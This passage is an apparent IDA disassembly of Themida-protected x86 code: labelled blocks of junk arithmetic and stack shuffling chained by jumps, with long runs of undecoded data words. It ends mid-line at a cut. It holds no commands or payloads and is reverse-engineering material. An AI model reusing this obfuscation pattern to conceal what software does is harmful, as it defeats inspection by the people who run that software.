; --------------------------------------------------------------------------- loc_55DEB2: ; CODE XREF: Themida_:0055AC3Ej pop edx push dword ptr [esp] jmp loc_559478 ; --------------------------------------------------------------------------- loc_55DEBB: ; CODE XREF: Themida_:0055B306j push edx mov edx, 6B752B9Bh push ebx mov ebx, 137A319Bh sub ebx, 0C871CDA5h or edx, ebx pop ebx push ecx push edi mov edi, 39E4154Fh jmp loc_56487E ; --------------------------------------------------------------------------- loc_55DEDC: ; CODE XREF: Themida_:0055F2F1j mov ebp, [esp] sub esp, 4 mov [esp], esi push esp pop esi jmp loc_55BB46 ; --------------------------------------------------------------------------- dd 0E95AD121h, 0FFFFCED2h, 2C69E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55DEFA: ; CODE XREF: Themida_:00551A0Aj shl esi, 2 jmp loc_55E346 ; --------------------------------------------------------------------------- loc_55DF02: ; CODE XREF: Themida_:0055FAD8j push eax mov eax, 176D2A15h sub edi, 77442A53h sub edi, eax add edi, 77442A53h pop eax jmp loc_5552F2 ; --------------------------------------------------------------------------- dd 0FA0072B2h, 0FE77E95Bh, 15CFFFFh, 0FF555FFDh, 5D042474h dd 5C24048Fh, 9C240430h, 0FF6D64E9h, 0EB815BFFh, 670D1757h dd 0C381F329h, 670D1757h, 0FFA037E9h, 4C781FFh, 87000000h dd 315C243Ch, 0CDCBE9C2h, 481FFFFh, 424h, 241C8B00h, 4C481h dd 0C3810000h, 4, 5935E9h, 68565300h, 35074ECEh, 68C6815Eh dd 815EC921h, 3A43C9C6h, 56F68174h, 81252627h, 0D36B5BC6h dd 5EF389D2h, 12E9D889h, 0C0000070h, 0E95104EFh, 0FFFF4545h ; --------------------------------------------------------------------------- loc_55DFB0: ; CODE XREF: Themida_:00552A1Fj add eax, esi jmp loc_5605F8 ; --------------------------------------------------------------------------- loc_55DFB7: ; CODE XREF: Themida_:00565295j add esp, 4 or edx, eax shl edx, 1 push ebx push edi jmp loc_55E72D ; --------------------------------------------------------------------------- db 5Fh, 81h, 0EFh dd 2212FF7Ch, 34FFFE01h, 0C4815F24h, 4, 2B850h, 0C6010000h dd 24343358h, 33243431h, 248B2434h, 0A30F6624h, 0E99C2404h dd 0FFFF209Fh ; --------------------------------------------------------------------------- loc_55DFF8: ; CODE XREF: Themida_:005532E8j add edx, 3769362Fh jmp loc_55465A ; --------------------------------------------------------------------------- db 0BEh dd 1F741D29h, 0E6C1D6F7h, 0A8C68102h, 56D0B280h, 0E9535E5Bh dd 0FFFF89A5h ; --------------------------------------------------------------------------- loc_55E01C: ; CODE XREF: Themida_:0056134Aj shl edx, 1 add edx, 0F3BBA145h or esi, edx pop edx push ebx jmp loc_56077D ; --------------------------------------------------------------------------- loc_55E02D: ; CODE XREF: Themida_:00560F78j pop edi jmp loc_5603AB ; --------------------------------------------------------------------------- db 0B1h dd 0E9CB20F5h, 0FFFFABDDh, 4244481h, 2D1F1515h, 0FF7DDFE9h dd 47BD68FFh, 1DE90000h db 13h, 2 dup(0) byte_55E053 db 0ADh ; DATA XREF: Themida_:0054FEB4o dd 0DFBB5357h, 0E9593C2Ah, 0FFFF732Ch, 5559C801h, 4BDh dd 5DE80100h, 2474FF50h, 617FE904h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E076: ; CODE XREF: Themida_:00557B17j shr edx, 1 jmp loc_55CEF1 ; --------------------------------------------------------------------------- db 55h, 0E9h, 0EEh dd 5BFFFF26h, 4B4DC981h, 0D9F72815h, 0F17AC181h, 89558DB1h dd 5DEA89CDh, 0FFC8D4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E09D: ; CODE XREF: Themida_:0055AC51j pop esp push ecx mov ecx, esp jmp loc_55A1B5 ; --------------------------------------------------------------------------- dw 0AA68h dd 89000004h, 0AA68242Ch, 8900006Ah, 1C682404h, 58248864h dd 28553D25h, 0BD555677h, 106B42D5h, 0FEE95E55h db 0CFh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E0CF: ; CODE XREF: Themida_:005535D6j shl ebp, 1 dec ebp not ebp not ebp sub ebp, 0DCFFACA8h jmp loc_55D428 ; --------------------------------------------------------------------------- aVse@ db 'VéE@',0 ; DATA XREF: Themida_:0054FE50o db 0 ; --------------------------------------------------------------------------- loc_55E0E7: ; CODE XREF: Themida_:00551880j push dword ptr [esp] pop ebp add esp, 4 xor ebx, eax push esi push esp mov esi, [esp] add esp, 4 push edx jmp loc_55241B ; --------------------------------------------------------------------------- dd 0E924148Bh, 0FFFFD996h, 159CB89h, 43685BDAh, 89000047h dd 32B9240Ch, 83053072h, 8E904ECh, 87000041h, 0FF5C2404h dd 3AE92434h db 0F0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E133: ; CODE XREF: Themida_:00553570j add eax, 72AB786Ch not eax push ebp mov ebp, 8EB294C6h add eax, 53065E66h sub eax, ebp sub eax, 53065E66h mov ebp, [esp] add esp, 4 add ebp, eax push dword ptr [esp] pop eax push ebx mov ebx, esp add ebx, 4 add ebx, 4 jmp loc_550A53 ; --------------------------------------------------------------------------- db 5Eh, 50h, 0B8h dd 4, 0E958C601h, 56Bh ; --------------------------------------------------------------------------- loc_55E178: ; CODE XREF: Themida_:0055A7ADj and eax, edx push dword ptr [esp] pop edx jmp loc_557437 ; --------------------------------------------------------------------------- loc_55E183: ; CODE XREF: Themida_:0055AB98j add esp, 4 jmp loc_558BD1 ; --------------------------------------------------------------------------- dw 3358h dd 2C31242Ch, 242C3324h, 0C8B665Ch, 40F8E924h, 0EC83FFFFh dd 24048904h, 5DF468h, 3029E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E1B2: ; CODE XREF: Themida_:00554A8Cj mov ebx, 6B3F56FEh xor esi, ebx pop ebx mov ebx, esi jmp loc_56261A ; --------------------------------------------------------------------------- db 53h, 89h, 0E3h dd 4B951h, 0CB010000h, 4B95159h, 0E9000000h, 0FFFFC4B8h dd 4B9h, 59CA0100h, 5C241487h, 0A1E9D029h db 26h, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E1EB: ; CODE XREF: Themida_:00561EA0j mov [esp], ebx mov ebx, 7F3E3B06h neg ebx shr ebx, 1 sub ebx, 0FFFFFFFFh add ebx, 1E356D01h add eax, ebx pop ebx sub ebx, 6E015BD1h sub ebx, eax add ebx, 6E015BD1h mov eax, [esp] add esp, 4 jmp loc_560E06 ; --------------------------------------------------------------------------- db 89h dd 23BD5BDAh, 153D4FCh, 0E5815AD5h, 366B1F71h, 81E38953h dd 4C3h, 4EB8100h, 87000000h, 248B241Ch, 388AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E24A: ; CODE XREF: Themida_:00553196j push 5C7h mov [esp], ebx mov ebx, 4 sub ebp, ebx pop ebx xchg ebp, [esp] jmp loc_55607B ; --------------------------------------------------------------------------- dw 15Ah dd 39E981F1h, 5E7D5222h, 81241C8Bh, 4C4h, 240C8700h, 6624248Bh dd 5724048Bh, 9EE9E789h, 59FFFF2Bh, 6806E9C1h, 931h, 0B8240489h dd 3F945CB4h, 2508E8C1h, 5E9F3636h, 1A56BA52h, 0C281162Ah dd 1BA45ED6h, 8102EAC1h, 94952FF2h, 5AD0010Bh, 48BC101h dd 4C48324h, 4753E953h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E2C6: ; CODE XREF: Themida_:005591F6j pop edi push eax push esp pop eax add eax, 4 sub eax, 4 xor eax, [esp] xor [esp], eax xor eax, [esp] pop esp jmp loc_55C5E0 ; --------------------------------------------------------------------------- loc_55E2E3: ; CODE XREF: Themida_:00564C22j or ebp, 15666CD1h sub ebp, 515644CFh xor ebp, 0ADAED6C7h add ecx, ebp pop ebp or edi, ecx pop ecx jmp loc_55D9FF ; --------------------------------------------------------------------------- dd 0C1815954h, 4, 4E981h, 0C870000h, 2C895C24h, 20036824h dd 0EC810000h, 4, 0E9242489h, 0FFFF6769h, 0E92434FFh, 29A5h dd 2434FF5Ch, 6DFEE959h, 0F660000h, 5166C8AFh, 1D51E99Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E346: ; CODE XREF: Themida_:0055DEFDj dec esi jmp loc_555D43 ; --------------------------------------------------------------------------- dd 8102E1C1h, 631FC3C1h, 7E9C141h, 4FE0E949h, 0C2810000h dd 4, 0FF6FFDE9h, 2474FFFFh, 2172E904h, 0C7010000h, 5422C781h dd 0E958434Fh, 0FFFF9B68h, 4BEh, 0AF67E900h, 0C780FFFFh dd 47B9E929h, 348B0000h, 4C48124h, 0F7000000h, 74CE81DEh dd 8158081Ch, 0A7CD71F6h, 0BC8AE9EEh, 80BBFFFFh, 29EC498Ch dd 0D5215BDAh, 8324148Bh, 0E5C104C4h, 3E5C103h, 0E906EDC1h dd 50D1h, 97E9C531h, 87000013h, 895C240Ch, 74FF2414h, 8F5A0424h dd 0E95C2404h, 0FFFFA3F9h ; --------------------------------------------------------------------------- loc_55E3E8: ; CODE XREF: Themida_:00551337j pop ebx push esi mov esi, 641D174Fh jmp loc_55228A ; --------------------------------------------------------------------------- dd 4151EB81h, 0BE560BCBh, 44212593h, 0FF9342E9h, 0EE815DFFh dd 4, 8B243487h, 0C892424h, 55E18924h, 4229BF57h, 0FD894549h dd 50243C8Bh, 405E089h, 51000000h, 4B9h, 59C80100h, 0E9240487h dd 0FFFF63C3h ; --------------------------------------------------------------------------- loc_55E43C: ; CODE XREF: Themida_:00564901j add edi, 96C1D0D5h add esi, edi mov edi, [esp] add esp, 4 jmp loc_5645C9 ; --------------------------------------------------------------------------- dw 55Dh dd 409A50E0h, 0E02DD801h, 2D409A50h, 1A8B0F67h, 0FF3D34E9h dd 4C483FFh, 2073C381h, 0C329101Eh, 2073EB81h, 6668101Eh dd 8900000Ah, 0ABB82404h, 68107279h, 7F4Fh, 52243C89h dd 0BF427868h, 0A568E911h, 5B5EFFFFh, 34FF3089h, 0F5685E24h dd 89000028h, 6F682434h, 89000046h, 57512424h, 0CA5F8268h dd 21FBE957h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55E4BE: ; CODE XREF: Themida_:005568CDj push 5977h jmp loc_55D924 ; --------------------------------------------------------------------------- loc_55E4C8: ; CODE XREF: Themida_:00565262j add ebx, 4 xchg ebx, [esp] pop esp jmp loc_56022E ; --------------------------------------------------------------------------- dd 525BB53h, 0D8292E5Ch, 2FE9595Bh db 80h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E4E3: ; CODE XREF: Themida_:00562C92j shl ebp, 5 push ecx mov ecx, 5A6F46FEh inc ecx shl ecx, 5 xor ecx, 20CB7C91h jmp loc_55778D ; --------------------------------------------------------------------------- db 0BDh dd 4, 6C1E2705h, 0E9E80151h, 0FFFF5A6Eh, 81243C8Bh, 4C4h dd 241C8700h, 8F24248Bh, 248B2404h, 48B6624h, 0E0895024h dd 405h, 4EC8300h, 51243489h, 5960E9h db 0 byte_55E539 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550040o aHgf db '$h£f',0 align 2 dw 1489h aIthc db '$‰âh–,',0 align 4 dd 0BB241C89h, 4, 4EC81h, 4890000h, 5992B824h, 0EA8151CBh dd 5586827h, 2AE9C201h, 81FFFFA8h, 814950F1h, 59CE29A9h dd 710AE981h, 0DDE979CEh, 89000004h, 8BF789D6h, 4FE92434h db 82h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E58F: ; CODE XREF: Themida_:00563F1Bj mov [esp], ebx sub esp, 4 mov [esp], edi mov edi, ebp push ebp mov ebp, edi jmp loc_55FA13 ; --------------------------------------------------------------------------- align 2 dw 80DCh dd 0EC8035C4h, 53E95BADh db 1Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_55E5B3: ; CODE XREF: Themida_:0055451Aj mov ecx, [esp] jmp loc_562F57 ; --------------------------------------------------------------------------- db 81h dd 7D6A83EFh, 81CF010Ah, 7D6A83C7h, 8FEF810Ah, 5952A13Ch dd 4EC8350h, 361AE9h db 0 ; --------------------------------------------------------------------------- loc_55E5D9: ; CODE XREF: Themida_:0055FBCCj mov eax, [esp] add esp, 4 jmp loc_5561B7 ; --------------------------------------------------------------------------- loc_55E5E7: ; CODE XREF: Themida_:0055CD50j xor esi, edi mov edi, [esp] add esp, 4 and eax, esi jmp loc_55329E ; --------------------------------------------------------------------------- db 0FFh, 34h, 24h dd 0DA2E9h, 243C8B00h, 0E9E68956h, 0FFFFC4D3h, 42E8C381h dd 0BA5224F8h, 5ECF73FCh, 5A5AD301h, 5C241C87h, 24048B66h dd 371AE956h, 0C7800000h, 13E7809Fh, 0C780DFF6h, 9AF78020h dd 0C2E9FA30h, 28FFFFEDh, 0CF285AD7h, 8B5BC780h, 0BCE9240Ch dd 51FFFF62h, 72CDF68h, 5741593Dh, 0B2459DBFh, 0E9F90901h dd 10AAh, 8324348Bh, 2C3304C4h, 242C3124h, 5C242C33h, 89242C89h dd 4C581E5h, 0E9000000h, 0FFFFAD9Ah, 34E468h, 24348900h dd 0C4E9E689h, 0FFFFFF75h, 57582434h, 9FE95F54h, 5AFFFF80h dd 4C481h, 0E3880000h, 0FFBCA2E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E6AD: ; CODE XREF: Themida_:005597ECj sub edx, 3F4F761Dh sub esp, 4 mov [esp], ecx jmp loc_561842 ; --------------------------------------------------------------------------- db 52h, 89h, 0E2h dd 4C281h, 0A6E90000h, 0BEFFFF7Ch, 44884427h, 15EF029h dd 442705F8h, 49E94488h, 8300006Dh, 348704C6h, 1CADE924h dd 15BF0000h, 31316A00h, 3842E9FDh, 0BD55FFFFh, 0B49E1AC3h dd 0E95DEA01h, 0FFFF4934h, 0F44BEF81h, 0FA31CBBDh, 79F2815Fh dd 81254E6Bh, 181C32EAh, 0A2EA8138h, 539F62Bh, 2F96623h dd 0FF1983E9h db 0FFh ; --------------------------------------------------------------------------- loc_55E72D: ; CODE XREF: Themida_:0055DFC0j mov edi, 390065BEh jmp loc_551756 ; --------------------------------------------------------------------------- db 83h dd 0DA0104C4h, 2414335Bh, 33241431h, 248B2414h, 0AC21E924h dd 4D04FFFFh, 0C8B682Ch db 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55EEAA ; --------------------------------------------------------------------------- db 81h, 0C7h, 41h dd 0E929926Eh, 0FFFFDD30h, 0D2E9CB01h, 8B000012h, 0C483241Ch dd 6EBC104h, 609568h, 0D361E900h, 815DFFFFh, 0FC6B7DEFh dd 5FFB011Ah, 0FF633BE9h, 0E1C380FFh, 0FF796DE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E799: ; CODE XREF: Themida_:0055089Fj push 21E3h mov [esp], esp jmp loc_55D544 ; --------------------------------------------------------------------------- dw 0E951h dd 0FFFFDA56h, 5DEA8966h, 0B8665066h, 29660028h, 6312E9C2h dd 0C4810000h, 4, 7B0DC581h, 0E8295164h, 45BE95Dh, 81570000h dd 4ECh, 64BBE900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E7DE: ; CODE XREF: Themida_:00558AC0j xor edi, ecx pop ecx jmp loc_55F347 ; --------------------------------------------------------------------------- loc_55E7E6: ; CODE XREF: Themida_:00555AF7j push edx mov dl, bl push eax mov ah, dl mov cl, ah pop eax jmp loc_55D6AC ; --------------------------------------------------------------------------- dd 198568h, 240C8900h, 6866E8B5h, 51E97E2Ch db 39h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E807: ; CODE XREF: Themida_:00557AD0j add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp sub esp, 4 jmp loc_5615C4 ; --------------------------------------------------------------------------- dw 0E280h dd 0FEC2FE47h, 0CAC280C2h, 0FE5AD388h, 2E3C0C3h, 8048C380h dd 0A8E92CEBh, 81FFFFD5h, 0D626CEC6h, 0E9C6014Bh, 0FFFF2F12h dd 0D2F7D687h, 0E951D687h, 0FFFFC370h, 0E689565Ch, 4C681h dd 0EE830000h, 24348704h, 0FF3FBBE9h db 0FFh ; --------------------------------------------------------------------------- loc_55E86D: ; CODE XREF: Themida_:00560E0Ej push esi jmp loc_55943E ; --------------------------------------------------------------------------- db 81h dd 0C26A26F6h, 0D7E9560Eh, 66FFFF82h, 0E9CCB60Fh, 0FFFFAD48h dd 8BD0015Ch, 0C4812414h, 4, 3DEEE952h, 0C483FFFFh, 5E545604h dd 4C681h, 0EE810000h, 4, 5C243487h, 0BB241C89h, 206656FBh dd 242C8153h, 1, 33241431h, 14312414h, 0CCCBE924h, 0DAF7FFFFh dd 8106E2C1h, 4CB91AEAh, 0E9D30165h, 4461h dword_55E8E0 dd 24048B66h, 4EC81h, 2C890000h, 4EC8124h, 89000000h, 0EC812424h ; DATA XREF: Themida_:0054FF7Co dd 4, 0E9240C89h, 0FFFF1F75h, 89BF5756h, 894B1B1Ch, 243C8BFEh dd 81E68956h, 4C6h, 4C68300h, 5C243487h, 348B5856h, 4C48324h dd 2D02E8C1h, 1, 0E9D0F748h, 0FFFF9107h, 4EC81h, 34890000h dd 0D0B85024h, 0E906F942h, 0FFFFAE3Dh ; --------------------------------------------------------------------------- loc_55E94C: ; CODE XREF: Themida_:0055C575j inc edi push ebp mov ebp, esp jmp loc_55893E ; --------------------------------------------------------------------------- db 5Eh, 52h, 5Bh dd 5BDA015Ah, 8102C283h, 4ECh, 24148900h, 42474FFh, 0E924148Bh dd 0FFFF1B3Ah ; --------------------------------------------------------------------------- loc_55E974: ; CODE XREF: Themida_:00563780j add eax, ebx add eax, 771335FEh push esi mov esi, 4901412Ch inc esi shl esi, 2 and esi, 410F4EB6h not esi xor esi, 7AB23DBDh jmp loc_552A19 ; --------------------------------------------------------------------------- loc_55E998: ; CODE XREF: Themida_:00558740j mov ebx, ebp pop ebp jmp loc_562F0F ; --------------------------------------------------------------------------- dd 5C241487h, 0BB241C89h, 4, 875BDA01h, 248B2414h, 80C32824h dd 0EC68F9EBh, 8900001Fh, 63B9240Ch, 0C134A41Bh, 0D1F705E9h dd 49AFE9h db 0 ; --------------------------------------------------------------------------- loc_55E9D1: ; CODE XREF: Themida_:005651BCj push 6C07h mov [esp], esp add dword ptr [esp], 4 jmp loc_55D6BB ; --------------------------------------------------------------------------- db 5Dh, 0E9h, 0FCh dd 1FFFF1Eh, 0E95659CFh, 0FFFFFCDBh, 0BE9C6FEh db 29h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55E9FB: ; CODE XREF: Themida_:00551A8Ej add esp, 4 jmp loc_55ED8B ; --------------------------------------------------------------------------- word_55EA06 dw 74FFh ; DATA XREF: Themida_:0054FE10o dd 34FF0424h, 2434FF24h, 8124048Bh, 4C4h, 0EC835000h, 24248904h dd 4240483h, 8324048Bh, 685704C4h, 1BE45314h, 3B9515Fh dd 0E9374201h, 9A2h, 0C281E289h, 4, 4C281h, 14870000h dd 56535C24h, 0FFF5AEE9h, 24348BFFh, 0E904C483h, 0FFFF1637h dd 1D34BE56h, 0E6C165D0h, 1C68304h, 8DAAEE81h, 0F101F5D2h dd 0FAC1815Eh, 0E95E3D58h, 2069h, 8714E95Bh, 0E289FFFFh dd 4C281h, 0C2810000h, 4, 0E9241487h, 0FFFFC3C2h ; --------------------------------------------------------------------------- loc_55EA9C: ; CODE XREF: Themida_:0055995Ej mov eax, 2981042Eh push edi mov edi, 4F591A9Dh sub eax, edi pop edi not eax jmp loc_5532F4 ; --------------------------------------------------------------------------- db 89h, 0Ch, 24h dd 0C181E189h, 4, 4E981h, 0C870000h, 7A22E924h, 89B8FFFFh dd 2D605601h, 60560185h, 8158C301h, 4ECh, 243C8900h, 4BFh dd 5FFB0100h, 5C241C87h, 5C243C87h, 57D968h, 241C8900h dd 0E9D58851h, 2CF6h, 4C481h, 2C870000h, 0F665C24h, 9C2404B3h dd 0FF1582E9h, 5DEB29FFh, 0AD5DA505h, 2DD82975h, 75AD5DA5h dd 0FF518DE9h, 0BA525EFFh, 57F00A60h, 5504E9h, 5E80100h dd 5A3B030Dh, 0FF4CA4E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EB41: ; CODE XREF: Themida_:00559686j mov ecx, 95B6B3Ah and ecx, 1A2E6A28h or ecx, 55DD1D43h shl ecx, 3 and ecx, 2D8E72C9h shr ecx, 1 add ecx, 0CA2EB775h add esi, ecx pop ecx add ebp, esi jmp loc_551B25 ; --------------------------------------------------------------------------- db 54h, 0E9h, 1Ah dd 5900004Ah, 59E1E681h, 0C68174E6h, 7058437Ah, 0E681D6F7h dd 19762DD6h, 32B2CE81h, 0C6817F06h, 0D7D80878h, 0D2E9F289h dd 8BFFFF6Fh, 0BD68243Ch, 0E9000017h, 0FFFFAC78h, 241C895Ch dd 0FFB2A8E9h db 0FFh ; --------------------------------------------------------------------------- loc_55EBB1: ; CODE XREF: Themida_:0055DC3Cj xchg esi, [esp] pop esp jmp loc_55F442 ; --------------------------------------------------------------------------- loc_55EBBA: ; CODE XREF: Themida_:00561D2Cj add eax, 4 jmp loc_5564D2 ; --------------------------------------------------------------------------- dd 0E959C821h, 0FFFF1A5Ah, 8B24048Fh, 0B70F2424h, 0EC8351C8h dd 24248904h, 4240483h, 592434FFh, 81E18951h, 4C1h, 4BA5200h dd 1000000h, 77B1E9D1h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EBFA: ; CODE XREF: Themida_:00557AF6j add ebp, 6EA47B4Bh jmp loc_5590D1 ; --------------------------------------------------------------------------- aS_9 db ')Èé¼>',0 align 4 dd 88FD8851h, 240C8BEAh, 8B04C483h, 0C481241Ch, 4, 148BD088h dd 4C48324h, 34BAE9h, 0B5E95E00h, 81FFFF5Ah, 4C5h, 4ED8300h dd 2474FF55h, 32D7E904h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EC46: ; CODE XREF: Themida_:0055486Bj mov [esp], esi xchg edi, [esp] not edi xchg edi, [esp] push dword ptr [esp] mov esi, [esp] add esp, 4 push ebx sub esp, 4 push esp pop dword ptr [esp] push ebx mov ebx, 4 jmp loc_550FF8 ; --------------------------------------------------------------------------- loc_55EC6D: ; CODE XREF: Themida_:00557E51j mov edi, 660E01D0h sub edi, 660E01CCh add ebp, edi jmp loc_55DC7F ; --------------------------------------------------------------------------- db 1 dd 0D4EE81FEh, 5F41D176h, 6804C683h, 2290h, 0FF243489h dd 8B042474h, 89532434h, 3DAFE9E3h, 0ED81FFFFh, 18427CC1h dd 1D0FC581h, 0DBE94B1Ch, 58FFFFF4h, 8048C780h, 0E7C0CFCFh dd 8AF78005h, 0C05BFD88h, 8CE902E5h, 80FFFFCBh, 0EB801AEBh dd 0BE17E96Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ECD6: ; CODE XREF: Themida_:00561FB9j pop esi jmp loc_554A2D ; --------------------------------------------------------------------------- dd 0E3E68h, 48F5400h, 24048324h, 243C8B04h, 81E78957h dd 4C7h, 4BD5500h, 1000000h, 3C875DEFh, 0EC815C24h, 4 dd 51240489h, 0A90C2FB9h, 8E5AE91Dh, 0FE29FFFFh, 4EC815Fh dd 89000000h, 0C1E92404h, 1000035h, 3EC381F3h, 8B135D64h dd 4EE92434h db 0EEh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55ED37: ; CODE XREF: Themida_:0055F4ADj push eax mov eax, edi mov edx, eax pop eax mov edi, [esp] sub esp, 4 mov [esp], esi push esp jmp loc_5599F6 ; --------------------------------------------------------------------------- db 68h dd 4, 27D9E9h, 8E2C100h, 0D2F7DAF7h, 1464E94Ah, 5A500000h dd 24540158h, 24148B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx jmp loc_554A6A ; --------------------------------------------------------------------------- loc_55ED8B: ; CODE XREF: Themida_:0055EA01j push edi push dword ptr [esp+4] push dword ptr [esp] pop edi push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp pop dword ptr [esp] jmp loc_55AF1B ; --------------------------------------------------------------------------- dd 81E68956h, 4C6h, 4C68300h, 0E9243487h, 0FFFFDA9Fh, 5A0F6859h dd 34890000h, 515E5424h, 48B1E9h, 0E9F52900h, 63B1h, 2275EA81h dd 0D329DA7Fh, 81CB015Ah, 102FFAC3h, 0C3815935h, 4, 106FE9h db 0 byte_55EDF5 db 0ACh, 30h, 0D8h ; DATA XREF: Themida_:0054FF64o dd 0FFC5E3E9h, 0B1515BFFh, 52E18004h, 0F638C180h, 80D9F6D1h dd 0F18064C9h, 8BCC0866h, 0C483240Ch, 8E60E904h, 0D159FFFFh dd 0E0D148E0h, 0A64E940h db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EE2A: ; CODE XREF: Themida_:00560CB2j neg eax push edi mov edi, 3A296754h jmp loc_56124B ; --------------------------------------------------------------------------- loc_55EE37: ; CODE XREF: Themida_:00553FA2j pop esp jmp loc_562314 ; --------------------------------------------------------------------------- db 52h, 0BAh, 4 dd 53000000h, 0CF765FBBh, 24448177h, 0F54B1908h, 245C292Bh dd 246C8108h, 0F54B1908h, 54015B2Bh, 0A6E90424h, 68FFFFB3h dd 0E7Fh, 55240489h, 5051F9BDh, 0E9D5F708h, 0FFFFBB2Bh dd 0A8685550h, 5D2CC915h, 0BB53D5F7h, 182169C5h, 8104E3C1h dd 0AF0552E3h, 14F38178h, 0F7358001h, 32E2E9DBh, 34FF0000h dd 8879E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EEAA: ; CODE XREF: Themida_:0055E758j add ebp, 4 add ebp, 4 jmp loc_55317F ; --------------------------------------------------------------------------- dd 8124048Bh, 4C4h, 0A2E95000h db 47h, 2 dup(0FFh) byte_55EEC7 db 0FFh ; DATA XREF: Themida_:00550008o dd 0F1E92434h db 0B6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EECF: ; CODE XREF: Themida_:00554A28j pop eax sub esp, 4 mov [esp], esi mov esi, 42E57A00h or ebp, esi mov esi, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] jmp loc_56555B ; --------------------------------------------------------------------------- dw 0DF29h dd 55D7015Bh, 0C54D4BDh, 46C78105h, 1673053h, 46EF81EFh dd 5D673053h, 0BD55515Ah, 2, 0E9E88950h, 65D4h, 6080E95Ch db 2 dup(0) ; --------------------------------------------------------------------------- loc_55EF2A: ; CODE XREF: Themida_:0055987Ej neg dword ptr [esp] jmp loc_564C12 ; --------------------------------------------------------------------------- loc_55EF32: ; CODE XREF: Themida_:0055055Cj and eax, ebp jmp loc_5589E0 ; --------------------------------------------------------------------------- db 81h, 0CEh, 0A0h dd 52453504h, 0BF57E289h, 251E6B39h, 0FF75F3E9h, 0F5ED81FFh dd 2933F927h, 0F5C581F5h, 5E33F927h, 0FE9E801h, 5FFFFA2h dd 91D6FB8h, 67738605h, 4B7CE945h, 0B850FFFFh, 48403AB6h dd 2283E9h, 24048100h, 4, 83240C8Bh, 0F3E904C4h, 81FFFF57h dd 0C0674FC1h, 4E9C10Ah, 0BFE98149h, 103EB79h, 0D094E9CAh dd 0FA29FFFFh, 2434FF5Fh, 4C4835Bh, 0BF57C201h, 5CE156F6h dd 0E95F5557h, 3221h, 4C681h, 0C6810000h, 4, 31243433h dd 0E8E92434h db 8Ah, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55EFD7: ; CODE XREF: Themida_:0055F115j push dword ptr [esp] mov esi, [esp] push edi mov edi, esp push ebx mov ebx, 4 jmp loc_552BE2 ; --------------------------------------------------------------------------- db 0B9h dd 2, 34FF5F51h, 0E9565924h, 1B54h, 2564F281h, 0D5015977h dd 5124148Bh, 3F7068h, 24248900h, 4240483h, 4C18159h, 81000000h dd 4C1h, 240C8700h, 5124248Bh, 0FF310EE9h, 946852FFh, 5A728E62h dd 42ABBF57h, 0D7F74BE1h, 496C781h, 0F7810A2Fh, 5EE66A66h dd 0B704C781h, 0FA2991E2h, 0E9D0895Fh, 0FFFF3372h, 0E95FF831h dd 4CF7h, 0E9243C89h, 0FFFF92E7h ; --------------------------------------------------------------------------- loc_55F068: ; CODE XREF: Themida_:00554142j shl eax, 8 push 2B57h mov [esp], ecx mov ecx, 8B042B1h or ecx, 56283F99h add ecx, 1072D83Bh and eax, ecx pop ecx push ebx mov ebx, 13C64C7Fh jmp loc_55DD89 ; --------------------------------------------------------------------------- dw 0BF57h dd 0BA47AB8Fh, 0E95FF801h, 0FFFFE86Eh, 8005E5C0h, 0E82824EDh dd 764E9h, 240C8B00h, 4C481h, 48F0000h, 24248B24h, 0B60F66h dd 56376866h, 24048966h, 0FF0FCAE9h db 0FFh byte_55F0CD db 66h, 8Bh, 4 ; DATA XREF: Themida_:0054FE70o dd 0D2E95324h, 89FFFF7Eh, 4C781E7h, 83000000h, 3C8704C7h dd 48F5C24h, 9145E924h, 0D168FFFFh, 89000013h, 1768241Ch dd 8900003Bh, 0D1E9243Ch, 5DFFFFBCh, 0A0E9C331h db 30h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55F10B: ; CODE XREF: Themida_:005580C9j mov [esp], esi mov esi, 21E65A60h mov ebp, esi jmp loc_55EFD7 ; --------------------------------------------------------------------------- word_55F11A dw 8B66h ; DATA XREF: Themida_:0054FF24o dd 3B682404h, 89000056h, 58542404h, 405h, 68535600h, 11766F9Fh dd 0FB9685Bh, 3C890000h, 5F7BBF24h, 0F7814556h, 54D30AADh dd 0DFF7DFF7h, 0ECE6EF81h, 814F94C5h, 0C30362C7h, 0A9EB819Ch dd 817AA25Fh, 2F7B42C3h, 0E9FB291Eh, 0FFFFC23Bh, 8324048Bh dd 0BE5604C4h, 73D36EA2h, 6DB95152h, 0C112D948h, 0C18106E9h dd 169B3B58h, 0F181D1F7h, 19852571h, 0FF5A56E9h, 243487FFh dd 0FF50E95Ch, 492DFFFFh, 